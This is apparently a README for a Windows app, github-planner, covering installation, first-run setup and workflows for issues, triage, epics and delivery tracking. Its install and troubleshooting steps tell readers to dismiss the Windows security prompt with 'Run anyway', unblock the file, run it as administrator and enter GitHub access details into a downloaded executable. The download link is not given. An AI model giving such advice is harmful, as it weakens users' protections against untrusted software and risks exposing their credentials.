github-planner helps you manage GitHub work in one place. It brings planning docs, issues, epics, triage, discussions, delivery notes, and team health into a single flow.
Use it to:
- keep track of work in progress
- sort and review issues
- connect planning notes to real tasks
- see project health at a glance
- reduce time spent jumping between GitHub pages
It is built for people who want a simple way to stay on top of project work without learning a new system.
Before you install github-planner, make sure you have:
- a Windows PC
- a stable internet connection
- permission to download files from GitHub
- enough free space for the app and its data
For best results, use:
- Windows 10 or Windows 11
- a screen size that can show a full project board
- a modern browser for the download page
Visit this page to download github-planner:
On that page:
- open the latest release
- find the Windows download file
- download the file to your computer
- open the file once the download ends
If Windows asks for permission, choose the option that lets the app run.
After the file downloads:
- go to your Downloads folder
- open the github-planner file
- follow the on-screen steps
- wait for the app to finish setup
- open github-planner from the Start menu or the app window
If the app comes as a zipped file:
- right-click the file
- choose Extract All
- open the extracted folder
- run the app file inside it
If Windows shows a security prompt:
- select More info
- choose Run anyway if you trust the download source
- finish opening the app
When you start github-planner for the first time, you may see setup fields for your GitHub account or project folder.
Typical setup steps:
- sign in with your GitHub access details if the app asks for them
- choose the project or repo you want to manage
- load your planning docs or issue lists
- connect the parts you want to track, such as backlog, epics, or triage
- save your settings
If you manage more than one project, start with one repo first. That makes the first run easier.
Keep planning notes close to your issue work. Use the app to map ideas into tasks, epics, and delivery steps.
Review issues without moving through many GitHub tabs. See what needs work, what is blocked, and what is ready.
Sort issues by type, priority, or team focus. Use triage to keep the backlog clean and current.
Bring open questions and team notes into your planning flow. This helps you keep decisions with the work they belong to.
Check how work moves from idea to done. Use delivery views to spot slow points and keep work moving.
Watch simple team health signals from planning docs and project activity. This can help you see when work feels too heavy or too scattered.
After setup, most users follow this path:
- open the app
- load your project
- review the backlog
- check open issues
- sort items that need triage
- link related work to epics or planning docs
- review delivery insight views
- make updates as your project changes
For day-to-day use:
- start with new issues
- move urgent items first
- keep planning notes short and clear
- review health and progress once a day or once a week
Use this when your issue list gets too large.
Steps:
- open the backlog view
- look for old items
- close tasks that no longer matter
- mark important items
- group related work together
Use this when new issues come in fast.
Steps:
- open the triage view
- sort issues by topic
- add labels where needed
- assign priority
- move each issue to the right place
Use this for larger work that takes more than one task.
Steps:
- create or open an epic
- link related issues
- add simple notes about the goal
- track progress as work moves forward
- close the epic when the work is done
Use this when you want to see how work is moving.
Steps:
- open delivery insights
- review completed items
- check blocked work
- look for patterns in slow tasks
- adjust the plan if needed
- keep your GitHub project data tidy
- use clear issue titles
- avoid too many labels
- review triage often
- keep planning docs short
- close old items that no longer help
- use one project space first before adding more
Try this:
- right-click the app file
- choose Run as administrator
- check that the file finished downloading
- download it again if the file looks damaged
Try this:
- open the file properties
- check if Windows marked it as blocked
- unblock it if that option appears
- run the file again
Try this:
- check your internet connection
- refresh the release page
- open the link in another browser
- try again later
Try this:
- confirm you selected the right repo
- check your sign-in details
- refresh the app view
- make sure the project still exists in GitHub
Use this link to visit the release page and download github-planner:
github-planner fits teams and solo users who work with:
- GitHub issues
- project boards
- epics
- triage
- planning docs
- discussions
- delivery tracking
- team health checks
It helps keep project work in order without making the process feel heavy
On the release page, you may see files such as:
.exefor Windows.zipfor a packaged download- release notes file for version details
For Windows, choose the file that looks made for your system. If you see more than one file, pick the one that matches your PC.
Download github-planner only from the release page listed above. Check the file name before you open it. If the file name looks strange, stop and check the release page again.
If you are new to project tracking:
- download the latest Windows file
- install the app
- open one small project
- review issues and backlog first
- explore epics and delivery views next
- use triage when new work comes in